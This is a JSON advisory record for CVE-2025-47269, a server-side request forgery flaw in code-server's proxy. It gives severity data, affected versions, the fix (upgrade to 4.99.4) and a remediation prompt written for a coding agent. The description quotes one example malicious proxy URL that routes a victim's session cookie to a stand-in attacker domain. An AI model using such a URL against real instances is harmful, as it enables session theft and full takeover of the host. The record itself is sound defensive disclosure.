{"answers":{"affected":"2 open source packages ship an affected version, including code-server.","exploited":"There is no known exploitation of CVE-2025-47269 in the wild and no public exploit code.","fix":"Upgrade code-server to 4.99.4 or later.","what":"CVE-2025-47269 is a high-severity server-side request forgery vulnerability in coder code-server, published on 9 May 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for CVE-2025-47269 and fix it if it is affected.\n\nWhat it is: CVE-2025-47269 is a high-severity server-side request forgery vulnerability in coder code-server, published on 9 May 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of CVE-2025-47269 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- code-server (npm): affected all versions; fixed in 4.99.4\n- code-server (npm): affected all versions; fixed in 4.99.4\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2025-47269/ (Markdown: https://insights.sbomify.com/CVE-2025-47269/index.md)","id":"CVE-2025-47269","markdown":"https://insights.sbomify.com/CVE-2025-47269/index.md","name":"CVE-2025-47269","record":{"aliases":["GHSA-p483-wpfp-42cj","JLSEC-2026-1274"],"analysis":{"component_type":"web_application","fix_type":"upgrade","impacts":["account_takeover","code_execution"],"network_reachable":"yes","non_default_config":true,"product_category":"code-server web IDE","requires_auth":"none","summary":"Attackers can steal session cookies via SSRF in the proxy feature, allowing full access to the host machine if the proxy is enabled.","user_interaction":"required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"GitHub_M","cpe":[],"cvss":{"score":8.3,"severity":"high","source":"cna","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","version":"3.1"},"cwes":[{"id":"CWE-441","name":"Unintended Proxy or Intermediary"}],"description":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.","ecosystems":["npm"],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"none_known"},"has_fix":true,"headline":"code-server session cookie can be extracted by having user visit specially crafted proxy URL","id":"CVE-2025-47269","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":"npm","product":null,"products":[],"type":"ssrf","year":"2025"},"n_packages":2,"n_references":3,"next":{"headline":"nimiq-network-libp2p Uncontrolled Resource Consumption vulnerability","id":"CVE-2025-47270"},"packages":[{"ecosystem":"npm","fixed":["4.99.4"],"introduced":["0"],"last_affected":[],"package":"code-server","purl":null,"source":"GHSA-p483-wpfp-42cj"},{"ecosystem":"npm","fixed":["4.99.4"],"introduced":["0"],"last_affected":[],"package":"code-server","purl":"pkg:npm/code-server","source":"GHSA-p483-wpfp-42cj"}],"prev":{"headline":"Integer overflow in iputils","id":"CVE-2025-47268"},"products":["code-server"],"published":"2025-05-09","related":[],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"no","exploitation":"none","technical_impact":"total"},"state":"PUBLISHED","updated":"2025-05-10","vendors":["coder"]},"summary":"Attackers can steal session cookies via SSRF in the proxy feature, allowing full access to the host machine if the proxy is enabled.","url":"https://insights.sbomify.com/CVE-2025-47269/"}